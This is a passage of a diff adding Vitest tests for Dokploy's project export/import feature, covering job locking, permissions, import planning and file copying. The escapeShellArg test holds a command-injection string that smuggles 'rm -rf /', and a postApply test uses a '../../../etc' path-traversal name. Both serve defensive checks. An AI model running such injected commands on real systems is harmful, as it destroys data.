createExportJob("export-rl-3", "user-rl-4", "org-1");
|
||||
updateExportJob("export-rl-3", { status: "capturing" });
|
||||
|
||||
expect(() => assertNoActiveTransfer("user-rl-someone-else")).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe("createImportJobIfNoneActive (T-5.11)", () => {
|
||||
it("the second of two back-to-back calls for the same user fails, even with no active job at the time of either's own separate check", () => {
|
||||
createImportJobIfNoneActive("import-atomic-1", "user-atomic-1", "org-1");
|
||||
|
||||
expect(() =>
|
||||
createImportJobIfNoneActive("import-atomic-2", "user-atomic-1", "org-1"),
|
||||
).toThrow(TRPCError);
|
||||
|
||||
expect(getImportJob("import-atomic-1")).toBeDefined();
|
||||
expect(getImportJob("import-atomic-2")).toBeUndefined();
|
||||
});
|
||||
|
||||
it("still allows a different user's call to proceed", () => {
|
||||
createImportJobIfNoneActive("import-atomic-3", "user-atomic-2", "org-1");
|
||||
|
||||
expect(() =>
|
||||
createImportJobIfNoneActive("import-atomic-4", "user-atomic-3", "org-1"),
|
||||
).not.toThrow();
|
||||
expect(getImportJob("import-atomic-4")).toBeDefined();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,52 @@
|
||||
import type { Manifest } from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
migrateManifest,
|
||||
TRANSFER_FORMAT,
|
||||
TRANSFER_FORMAT_VERSION,
|
||||
UnsupportedBundleVersionError,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const baseManifest: Manifest = {
|
||||
format: TRANSFER_FORMAT,
|
||||
formatVersion: TRANSFER_FORMAT_VERSION,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0-test", organizationId: "org-1" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
};
|
||||
|
||||
describe("migrateManifest", () => {
|
||||
it("returns a v1 manifest unchanged (identity)", () => {
|
||||
const result = migrateManifest(baseManifest);
|
||||
expect(result).toEqual(baseManifest);
|
||||
});
|
||||
|
||||
it("throws UnsupportedBundleVersionError for a bundle newer than this install supports", () => {
|
||||
const future: Manifest = {
|
||||
...baseManifest,
|
||||
formatVersion: TRANSFER_FORMAT_VERSION + 1,
|
||||
};
|
||||
expect(() => migrateManifest(future)).toThrow(
|
||||
UnsupportedBundleVersionError,
|
||||
);
|
||||
expect(() => migrateManifest(future)).toThrow(/newer version of Dokploy/i);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,108 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
let memberToReturn:
|
||||
| {
|
||||
id: string;
|
||||
role: string;
|
||||
userId: string;
|
||||
organizationId: string;
|
||||
accessedProjects: string[];
|
||||
}
|
||||
| undefined = {
|
||||
id: "member-1",
|
||||
role: "owner",
|
||||
userId: "user-1",
|
||||
organizationId: "org-1",
|
||||
accessedProjects: [],
|
||||
};
|
||||
|
||||
let projectToReturn: { projectId: string; organizationId: string } | undefined =
|
||||
{ projectId: "project-1", organizationId: "org-1" };
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
member: {
|
||||
findFirst: vi.fn(() => Promise.resolve(memberToReturn)),
|
||||
},
|
||||
projects: {
|
||||
findFirst: vi.fn(() => Promise.resolve(projectToReturn)),
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
const { assertTransferPermission } = await import(
|
||||
"@dokploy/server/services/project-export-import"
|
||||
);
|
||||
|
||||
const ctxFor = (organizationId: string) => ({
|
||||
user: { id: "user-1" },
|
||||
session: { activeOrganizationId: organizationId },
|
||||
});
|
||||
|
||||
beforeEach(() => {
|
||||
memberToReturn = {
|
||||
id: "member-1",
|
||||
role: "owner",
|
||||
userId: "user-1",
|
||||
organizationId: "org-1",
|
||||
accessedProjects: [],
|
||||
};
|
||||
projectToReturn = { projectId: "project-1", organizationId: "org-1" };
|
||||
});
|
||||
|
||||
describe("assertTransferPermission", () => {
|
||||
it("allows an owner to export", async () => {
|
||||
memberToReturn = { ...memberToReturn!, role: "owner" };
|
||||
await expect(
|
||||
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
|
||||
).resolves.toBeDefined();
|
||||
});
|
||||
|
||||
it("allows an admin to export", async () => {
|
||||
memberToReturn = { ...memberToReturn!, role: "admin" };
|
||||
await expect(
|
||||
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
|
||||
).resolves.toBeDefined();
|
||||
});
|
||||
|
||||
it("rejects a plain member with FORBIDDEN", async () => {
|
||||
memberToReturn = { ...memberToReturn!, role: "member" };
|
||||
await expect(
|
||||
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
|
||||
).rejects.toMatchObject({ code: "FORBIDDEN" });
|
||||
});
|
||||
|
||||
it("rejects a user with no membership in the active org (cross-org access)", async () => {
|
||||
memberToReturn = undefined;
|
||||
await expect(
|
||||
assertTransferPermission(ctxFor("org-2") as any, "project-1", "export"),
|
||||
).rejects.toBeDefined();
|
||||
});
|
||||
|
||||
it("rejects NOT_FOUND when projectId belongs to a different organization, even for an owner", async () => {
|
||||
projectToReturn = { projectId: "project-1", organizationId: "org-2" };
|
||||
await expect(
|
||||
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
|
||||
it("rejects NOT_FOUND when projectId doesn't exist at all", async () => {
|
||||
projectToReturn = undefined;
|
||||
await expect(
|
||||
assertTransferPermission(
|
||||
ctxFor("org-1") as any,
|
||||
"project-missing",
|
||||
"export",
|
||||
),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
|
||||
it("skips the project lookup entirely when no projectId is given", async () => {
|
||||
projectToReturn = undefined;
|
||||
await expect(
|
||||
assertTransferPermission(ctxFor("org-1") as any, undefined, "export"),
|
||||
).resolves.toBeDefined();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,391 @@
|
||||
import type {
|
||||
Requirement,
|
||||
Snapshot,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
buildPlan,
|
||||
requirementKey,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const vaultRequirement: Requirement = {
|
||||
kind: "vault",
|
||||
originalId: "vault-src",
|
||||
configIncluded: false,
|
||||
usedBy: [
|
||||
{
|
||||
serviceId: "app-1",
|
||||
serviceType: "application",
|
||||
serviceName: "my-app",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
],
|
||||
providerName: "prod",
|
||||
providerType: "hashicorp",
|
||||
secretKeys: ["DB_PASS"],
|
||||
};
|
||||
|
||||
const networkRequirement: Requirement = {
|
||||
kind: "network",
|
||||
originalId: "net-src",
|
||||
configIncluded: true,
|
||||
usedBy: [
|
||||
{
|
||||
serviceId: "app-1",
|
||||
serviceType: "application",
|
||||
serviceName: "my-app",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
],
|
||||
name: "shared-net",
|
||||
};
|
||||
|
||||
const serverRequirement: Requirement = {
|
||||
kind: "server",
|
||||
originalId: "server-src-1",
|
||||
configIncluded: false,
|
||||
usedBy: [
|
||||
{
|
||||
serviceId: "app-1",
|
||||
serviceType: "application",
|
||||
serviceName: "my-app",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const applicationService: Record<string, unknown> = {
|
||||
kind: "application",
|
||||
applicationId: "app-1",
|
||||
name: "my-app",
|
||||
appName: "my-app-abc123",
|
||||
environmentId: "env-1",
|
||||
serverId: "server-src-1",
|
||||
domains: [{ domainId: "dom-1", host: "existing.example.com" }],
|
||||
ports: [{ portId: "port-src-1", publishedPort: 8080 }],
|
||||
};
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: { application: 1 },
|
||||
},
|
||||
resources: {
|
||||
project: { projectId: "project-1", name: "my-project" },
|
||||
environments: [{ environmentId: "env-1", name: "production" }],
|
||||
services: [applicationService],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [vaultRequirement, networkRequirement, serverRequirement],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const fakeDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
vaultProvider: { findMany: async () => [] },
|
||||
network: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => ({
|
||||
networkId: "net-dest-existing",
|
||||
name: "shared-net",
|
||||
organizationId: "org-dest",
|
||||
}),
|
||||
},
|
||||
server: {
|
||||
findMany: async () => [
|
||||
{
|
||||
serverId: "server-dest-1",
|
||||
name: "prod",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
findFirst: async () => ({ organizationId: "org-dest" }),
|
||||
},
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
projects: {
|
||||
findFirst: async () => ({
|
||||
projectId: "project-existing",
|
||||
name: "my-project",
|
||||
organizationId: "org-dest",
|
||||
}),
|
||||
},
|
||||
domains: {
|
||||
findMany: async () => [
|
||||
{ domainId: "dom-existing-1", host: "existing.example.com" },
|
||||
],
|
||||
},
|
||||
postgres: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
mysql: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
mariadb: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
mongo: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
redis: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
libsql: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
ports: {
|
||||
findMany: async () => [
|
||||
{
|
||||
portId: "port-existing-1",
|
||||
publishedPort: 8080,
|
||||
application: { serverId: "server-dest-1" },
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
describe("buildPlan", () => {
|
||||
it("marks a missing vault requirement's services as pending, with a blocking warning", async () => {
|
||||
const plan = await buildPlan(
|
||||
fakeDb(),
|
||||
snapshot,
|
||||
"org-dest",
|
||||
{ kind: "newProject", name: "my-project" },
|
||||
{
|
||||
resolutions: {
|
||||
[requirementKey(serverRequirement)]: {
|
||||
requirementKey: requirementKey(serverRequirement),
|
||||
action: "reuse",
|
||||
targetId: "server-dest-1",
|
||||
},
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(plan.resolutions[requirementKey(vaultRequirement)]).toEqual({
|
||||
requirementKey: requirementKey(vaultRequirement),
|
||||
action: "skip",
|
||||
});
|
||||
expect(plan.pendingServices).toEqual([
|
||||
{
|
||||
serviceId: "app-1",
|
||||
serviceType: "application",
|
||||
reason: 'Missing vault "prod"',
|
||||
},
|
||||
]);
|
||||
expect(
|
||||
plan.warnings.some(
|
||||
(w) =>
|
||||
w.code === "MISSING_REQUIREMENT_BLOCKING" &&
|
||||
w.severity === "blocking",
|
||||
),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("flags an existing host as a domain conflict", async () => {
|
||||
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
});
|
||||
expect(plan.conflicts).toContainEqual(
|
||||
expect.objectContaining({
|
||||
kind: "domain",
|
||||
value: "existing.example.com",
|
||||
existingId: "dom-existing-1",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("flags an existing project name as a conflict with a suggested rename option", async () => {
|
||||
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
});
|
||||
expect(plan.conflicts).toContainEqual({
|
||||
kind: "projectName",
|
||||
value: "my-project",
|
||||
existingId: "project-existing",
|
||||
usedBy: [],
|
||||
options: ["rename"],
|
||||
});
|
||||
expect(plan.conflictResolutions?.["projectName:my-project"]).toEqual({
|
||||
action: "rename",
|
||||
value: "my-project (imported)",
|
||||
});
|
||||
});
|
||||
|
||||
it("flags a network conflict only when the requirement's resolution is 'create'", async () => {
|
||||
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
});
|
||||
expect(plan.resolutions[requirementKey(networkRequirement)]?.action).toBe(
|
||||
"create",
|
||||
);
|
||||
expect(plan.conflicts).toContainEqual(
|
||||
expect.objectContaining({ kind: "network", value: "shared-net" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("flags a port conflict on the destination server the service resolves to", async () => {
|
||||
const plan = await buildPlan(
|
||||
fakeDb(),
|
||||
snapshot,
|
||||
"org-dest",
|
||||
{ kind: "newProject", name: "my-project" },
|
||||
{
|
||||
resolutions: {
|
||||
[requirementKey(serverRequirement)]: {
|
||||
requirementKey: requirementKey(serverRequirement),
|
||||
action: "reuse",
|
||||
targetId: "server-dest-1",
|
||||
},
|
||||
},
|
||||
},
|
||||
);
|
||||
expect(plan.serverMap["server-src-1"]).toBe("server-dest-1");
|
||||
expect(plan.conflicts).toContainEqual(
|
||||
expect.objectContaining({ kind: "port", value: "8080" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("regenerates app names by default, and keeps the original when keepAppNames is set and available", async () => {
|
||||
const regenerated = await buildPlan(fakeDb(), snapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
});
|
||||
expect(regenerated.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
|
||||
|
||||
const kept = await buildPlan(
|
||||
fakeDb(),
|
||||
snapshot,
|
||||
"org-dest",
|
||||
{ kind: "newProject", name: "my-project" },
|
||||
{
|
||||
keepAppNames: true,
|
||||
checkAppNameAvailable: async () => true,
|
||||
},
|
||||
);
|
||||
expect(kept.appNameMap["my-app-abc123"]).toBe("my-app-abc123");
|
||||
});
|
||||
|
||||
it("retries appName generation against the DB on a simulated collision", async () => {
|
||||
let findFirstCalls = 0;
|
||||
const db = {
|
||||
...fakeDb(),
|
||||
query: {
|
||||
...(fakeDb() as any).query,
|
||||
applications: {
|
||||
findFirst: async () => {
|
||||
findFirstCalls += 1;
|
||||
return findFirstCalls <= 2
|
||||
? { applicationId: "app-taken", appName: "whatever" }
|
||||
: undefined;
|
||||
},
|
||||
},
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
const plan = await buildPlan(db, snapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
});
|
||||
|
||||
expect(findFirstCalls).toBeGreaterThanOrEqual(3);
|
||||
expect(plan.appNameMap["my-app-abc123"]).toBeDefined();
|
||||
expect(plan.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
|
||||
});
|
||||
|
||||
it("gives up after MAX_APP_NAME_RETRIES consecutive collisions instead of looping forever", async () => {
|
||||
const db = {
|
||||
...fakeDb(),
|
||||
query: {
|
||||
...(fakeDb() as any).query,
|
||||
applications: {
|
||||
findFirst: async () => ({
|
||||
applicationId: "app-taken",
|
||||
appName: "whatever",
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
await expect(
|
||||
buildPlan(db, snapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
}),
|
||||
).rejects.toThrow(/unique appName/i);
|
||||
});
|
||||
|
||||
it("excludes redis from the dump count summary (it has no dump support)", async () => {
|
||||
const dumpSnapshot: Snapshot = {
|
||||
...snapshot,
|
||||
manifest: {
|
||||
...snapshot.manifest,
|
||||
scope: {
|
||||
...snapshot.manifest.scope,
|
||||
dumps: { mode: "embed" },
|
||||
},
|
||||
},
|
||||
resources: {
|
||||
...snapshot.resources,
|
||||
services: [
|
||||
applicationService,
|
||||
{
|
||||
kind: "postgres",
|
||||
postgresId: "pg-1",
|
||||
name: "my-db",
|
||||
appName: "my-db-abc123",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
{
|
||||
kind: "redis",
|
||||
redisId: "redis-1",
|
||||
name: "my-cache",
|
||||
appName: "my-cache-abc123",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
requirements: [],
|
||||
};
|
||||
|
||||
const plan = await buildPlan(fakeDb(), dumpSnapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
});
|
||||
|
||||
expect(plan.summary.dumps).toBe(1);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,248 @@
|
||||
import { existsSync } from "node:fs";
|
||||
import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import type {
|
||||
Plan,
|
||||
Snapshot,
|
||||
TransferDb,
|
||||
TransferResult,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { postApply } from "@dokploy/server/services/project-export-import";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
vi.mock("@dokploy/server/services/mount", () => ({
|
||||
createFileMount: vi.fn(async () => {}),
|
||||
}));
|
||||
|
||||
const { createFileMount } = await import("@dokploy/server/services/mount");
|
||||
|
||||
let root: string;
|
||||
let workDir: string;
|
||||
|
||||
const fakePaths = (_isServer: boolean) => ({
|
||||
BASE_PATH: root,
|
||||
MAIN_TRAEFIK_PATH: join(root, "traefik"),
|
||||
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
|
||||
LOGS_PATH: join(root, "logs"),
|
||||
APPLICATIONS_PATH: join(root, "applications"),
|
||||
COMPOSE_PATH: join(root, "compose"),
|
||||
SSH_PATH: join(root, "ssh"),
|
||||
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
|
||||
MONITORING_PATH: join(root, "monitoring"),
|
||||
REGISTRY_PATH: join(root, "registry"),
|
||||
SCHEDULES_PATH: join(root, "schedules"),
|
||||
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
|
||||
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
|
||||
PATCH_REPOS_PATH: join(root, "patch-repos"),
|
||||
});
|
||||
|
||||
beforeEach(async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-postapply-root-"));
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-postapply-work-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const composeService = {
|
||||
kind: "compose",
|
||||
composeId: "compose-1",
|
||||
appName: "my-compose-abc123",
|
||||
environmentId: "env-1",
|
||||
serverId: null,
|
||||
};
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: {
|
||||
project: {},
|
||||
environments: [],
|
||||
services: [composeService],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const plan: Plan = {
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
resolutions: {},
|
||||
serverMap: {},
|
||||
appNameMap: { "my-compose-abc123": "my-compose-xyz789" },
|
||||
domainStrategy: { custom: "keep" },
|
||||
portsStrategy: "keep",
|
||||
rotateDatabaseCredentials: false,
|
||||
conflicts: [],
|
||||
pendingServices: [],
|
||||
warnings: [],
|
||||
validation: [],
|
||||
summary: { counts: {}, domains: 0, dumps: 0 },
|
||||
};
|
||||
|
||||
const result: TransferResult = {
|
||||
idMap: { compose: { "compose-1": "compose-new-1" } },
|
||||
appNameMap: plan.appNameMap,
|
||||
pendingRequirements: [],
|
||||
pendingServices: [],
|
||||
rotations: [],
|
||||
restoreErrors: [],
|
||||
warnings: [],
|
||||
};
|
||||
|
||||
const fakeDb = {
|
||||
query: {
|
||||
certificates: { findFirst: async () => undefined },
|
||||
mounts: { findMany: async () => [] },
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
describe("postApply", () => {
|
||||
it("copies compose files to the new appName, rewriting docker-compose.yml, and reports it as a deploy candidate", async () => {
|
||||
const sourceDir = join(workDir, "files", "compose", "my-compose-abc123");
|
||||
await mkdir(sourceDir, { recursive: true });
|
||||
await writeFile(
|
||||
join(sourceDir, "docker-compose.yml"),
|
||||
"services:\n web:\n container_name: my-compose-abc123-web\n",
|
||||
);
|
||||
await writeFile(join(sourceDir, ".env"), "APP_NAME=my-compose-abc123\n");
|
||||
|
||||
const { deployCandidates } = await postApply(
|
||||
fakeDb,
|
||||
snapshot,
|
||||
plan,
|
||||
result,
|
||||
local(workDir),
|
||||
{
|
||||
pathsFn: fakePaths as any,
|
||||
},
|
||||
);
|
||||
|
||||
const destDir = join(root, "compose", "my-compose-xyz789");
|
||||
expect(existsSync(join(destDir, "docker-compose.yml"))).toBe(true);
|
||||
const composeContent = await readFile(
|
||||
join(destDir, "docker-compose.yml"),
|
||||
"utf8",
|
||||
);
|
||||
expect(composeContent).toContain("my-compose-xyz789-web");
|
||||
expect(composeContent).not.toContain("my-compose-abc123");
|
||||
|
||||
const envContent = await readFile(join(destDir, ".env"), "utf8");
|
||||
expect(envContent).toContain("APP_NAME=my-compose-xyz789");
|
||||
|
||||
expect(deployCandidates).toEqual([
|
||||
{ serviceId: "compose-new-1", serviceType: "compose", serverId: null },
|
||||
]);
|
||||
});
|
||||
|
||||
it("excludes pending services from deployCandidates", async () => {
|
||||
const pendingPlan: Plan = {
|
||||
...plan,
|
||||
pendingServices: [
|
||||
{
|
||||
serviceId: "compose-1",
|
||||
serviceType: "compose",
|
||||
reason: "Missing registry",
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const { deployCandidates } = await postApply(
|
||||
fakeDb,
|
||||
snapshot,
|
||||
pendingPlan,
|
||||
result,
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any },
|
||||
);
|
||||
|
||||
expect(deployCandidates).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("postApply writes file-type mounts to disk (T-6.6)", () => {
|
||||
it("calls createFileMount for every file-type mount belonging to a newly created service", async () => {
|
||||
(createFileMount as any).mockClear();
|
||||
const dbWithMounts = {
|
||||
query: {
|
||||
certificates: { findFirst: async () => undefined },
|
||||
mounts: {
|
||||
findMany: async () => [
|
||||
{
|
||||
mountId: "mount-file-1",
|
||||
type: "file",
|
||||
filePath: "/app/nginx.conf",
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
await postApply(dbWithMounts, snapshot, plan, result, local(workDir), {
|
||||
pathsFn: fakePaths as any,
|
||||
});
|
||||
|
||||
expect(createFileMount).toHaveBeenCalledWith("mount-file-1");
|
||||
expect(createFileMount).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe("postApply rejects an unsafe appName (T-9.2)", () => {
|
||||
it("reports a postApplyError instead of joining a path-traversal appName into a local path", async () => {
|
||||
const maliciousSnapshot: Snapshot = {
|
||||
...snapshot,
|
||||
resources: {
|
||||
...snapshot.resources,
|
||||
services: [
|
||||
{
|
||||
...composeService,
|
||||
appName: "../../../etc",
|
||||
},
|
||||
],
|
||||
},
|
||||
};
|
||||
const maliciousPlan: Plan = { ...plan, appNameMap: {} };
|
||||
|
||||
const { deployCandidates, postApplyErrors } = await postApply(
|
||||
fakeDb,
|
||||
maliciousSnapshot,
|
||||
maliciousPlan,
|
||||
result,
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any },
|
||||
);
|
||||
|
||||
expect(deployCandidates).toEqual([]);
|
||||
expect(postApplyErrors).toHaveLength(1);
|
||||
expect(postApplyErrors[0]?.error).toContain("Unsafe path in bundle");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,189 @@
|
||||
import { existsSync, readFileSync, writeFileSync } from "node:fs";
|
||||
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import {
|
||||
copyDir,
|
||||
copyFile,
|
||||
escapeShellArg,
|
||||
exists,
|
||||
fileSize,
|
||||
readFile,
|
||||
remove,
|
||||
runToFile,
|
||||
writeFile as writeRemoteFile,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const { pipeMock } = vi.hoisted(() => ({ pipeMock: vi.fn() }));
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/utils/process/remoteStream",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/remoteStream")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
pipeBetweenServers: (
|
||||
args: Parameters<typeof actual.pipeBetweenServers>[0],
|
||||
) =>
|
||||
args.source.serverId || args.target.serverId
|
||||
? pipeMock(args)
|
||||
: actual.pipeBetweenServers(args),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
describe("escapeShellArg", () => {
|
||||
it("wraps a plain value in single quotes", () => {
|
||||
expect(escapeShellArg("app-foo")).toBe("'app-foo'");
|
||||
});
|
||||
|
||||
it("neutralizes an embedded single quote (command injection attempt)", () => {
|
||||
const malicious = "foo'; rm -rf / #";
|
||||
expect(escapeShellArg(malicious)).toBe("'foo'\\''; rm -rf / #'");
|
||||
});
|
||||
});
|
||||
|
||||
describe("local transfers (serverId null on both sides)", () => {
|
||||
let base: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(base, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it("copies a directory tree with copyDir, honouring excludes", async () => {
|
||||
const source = join(base, "source");
|
||||
await mkdir(join(source, "nested"), { recursive: true });
|
||||
await mkdir(join(source, "node_modules"), { recursive: true });
|
||||
await writeFile(join(source, "a.txt"), "hello");
|
||||
await writeFile(join(source, "nested", "b.txt"), "world");
|
||||
await writeFile(join(source, "node_modules", "x.js"), "skip me");
|
||||
|
||||
const dest = join(base, "dest", "deep");
|
||||
await copyDir(local(source), local(dest), { exclude: ["node_modules"] });
|
||||
|
||||
expect(readFileSync(join(dest, "a.txt"), "utf8")).toBe("hello");
|
||||
expect(readFileSync(join(dest, "nested", "b.txt"), "utf8")).toBe("world");
|
||||
expect(existsSync(join(dest, "node_modules"))).toBe(false);
|
||||
});
|
||||
|
||||
it("copies a single file with copyFile, creating the parent directory", async () => {
|
||||
const source = join(base, "dump.sql");
|
||||
writeFileSync(source, Buffer.from([0, 1, 2, 255]));
|
||||
const dest = join(base, "out", "copied-dump.sql");
|
||||
|
||||
await copyFile(local(source), local(dest));
|
||||
|
||||
expect(readFileSync(dest)).toEqual(Buffer.from([0, 1, 2, 255]));
|
||||
});
|
||||
|
||||
it("writes from memory and reads back with writeFile/readFile", async () => {
|
||||
const target = join(base, "nested", "it's.json");
|
||||
await writeRemoteFile(local(target), '{"a":1}');
|
||||
expect((await readFile(local(target))).toString()).toBe('{"a":1}');
|
||||
expect(await exists(local(target))).toBe(true);
|
||||
expect(await fileSize(local(target))).toBe(7);
|
||||
});
|
||||
|
||||
it("captures a command's stdout into a file with runToFile", async () => {
|
||||
const target = join(base, "captured.txt");
|
||||
